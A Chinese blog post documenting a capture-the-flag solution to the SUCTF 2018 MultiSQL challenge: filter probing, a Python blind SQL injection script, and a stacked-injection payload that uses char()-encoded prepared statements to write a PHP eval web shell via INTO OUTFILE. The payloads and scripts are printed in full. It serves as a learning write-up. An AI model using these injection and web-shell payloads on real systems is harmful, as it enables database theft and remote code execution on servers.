博客
关于我
BUUCTF:[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码,10进制,16进制。
阅读量:404 次
发布时间:2019-03-05

本文共 3941 字,大约阅读时间需要 13 分钟。

目录:

参考:

一、自己做:

这里试addslash来的

在这里插入图片描述

用户信息中,把反斜线去掉展示的

在这里插入图片描述

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

二、 学到的&&不足:

  1. 有时候python脚本跑sql注入的题的时候要带上cookie。

    我这样跑,总是爆500 。见下面的

  2. 学到了sql注入的预处理命令。?id=2;set @sql=char(12,324,23,23,); prepare query from @sql; execute query;

  3. 异或的一点是,:怎么发现的 可以进行堆叠注入的啊,,

  4. 如果一些关键词被那啥了,可以进行编码绕过什么的,比如以前的那些16进制绕过,还有这个10进制绕过

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''res = requests.get(url=url)print(res.url)print(res.status_code)print(res.text)

带上cookie后才200了

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}res = requests.get(url=url,cookies = cookie)print(res.url)print(res.status_code)print(res.text)

三、学习WP:

WP:2^(if(ascii(mid(user(),1,1))>0,0,1))。这个行,但是不是在注册页面

在这里插入图片描述

可以修改id值,然后就改变页面,
我们就注入这里

用了这个if语句试可以的

在这里插入图片描述
不用像WP一样加上if,就我们正常的boll盲注就可以,

在这里插入图片描述

1^进行异或的化,正确就是0,不正确才是0,异或后是1.,这时,name会出现admin。
正确的时候是1,异或后是0,name中不是admin,是空。那么我们python脚本抓的时候,就可以抓admin这个字样

然后照着这个思想写了个python脚本

for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url,cookies = cookie) # 注意这里要带上cookie才行,不然跑脚本的化,是500        #print(res.url)        print(res.status_code)        #print(res.text)        content = re.findall('

.*

',res.text,re.M|re.I) # findall返回的是一个列表 #print(content) if ("admin" not in content[0]): # 这里用下标取出元素 database = database+chr(j) print(database) break

能跑出来数据库,我没跑完,看WP说flag不在这里面

在这里插入图片描述

然后测试么,过滤了很多东西:

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

堆叠注入,

然后 fuzz测试后发现过滤了unionselect&|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

脚本使用10进制:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)for i in range(0,len_str): if i==0: print('char(%s' %ord(str[i]),end='') else: print(',%s' %ord(str[i]),end='')print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

自己的脚本:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)print('char(',end='')for i in str: print('%s,' %ord(i),end='') # 最后会多一个,手动删去就好print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59,)

然后

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

然后访问那个目录下的shell.php

在这里插入图片描述

转载地址:http://ykgg.baihongyu.com/

你可能感兴趣的文章
MySQL创建新用户以及ERROR 1396 (HY000)问题解决
查看>>
MySQL创建用户与授权
查看>>
MySQL创建用户报错:ERROR 1396 (HY000): Operation CREATE USER failed for 'slave'@'%'
查看>>
MySQL创建索引时提示“Specified key was too long; max key length is 767 bytes”
查看>>
mysql初始密码错误问题
查看>>
mysql判断某一张表是否存在的sql语句以及方法
查看>>
mysql加入安装策略_一键安装mysql5.7及密码策略修改方法
查看>>
mysql加强(1)~用户权限介绍、分别使用客户端工具和命令来创建用户和分配权限
查看>>
mysql加强(3)~分组(统计)查询
查看>>
mysql加强(4)~多表查询:笛卡尔积、消除笛卡尔积操作(等值、非等值连接),内连接(隐式连接、显示连接)、外连接、自连接
查看>>
mysql加强(5)~DML 增删改操作和 DQL 查询操作
查看>>
mysql加强(6)~子查询简单介绍、子查询分类
查看>>
mysql加强(7)~事务、事务并发、解决事务并发的方法
查看>>
mysql千万级大数据SQL查询优化
查看>>
MySQL千万级大表优化策略
查看>>
MySQL单实例或多实例启动脚本
查看>>
MySQL压缩包方式安装,傻瓜式教学
查看>>
MySQL原理、设计与应用全面解析
查看>>
MySQL原理简介—1.SQL的执行流程
查看>>
MySQL参数调优详解
查看>>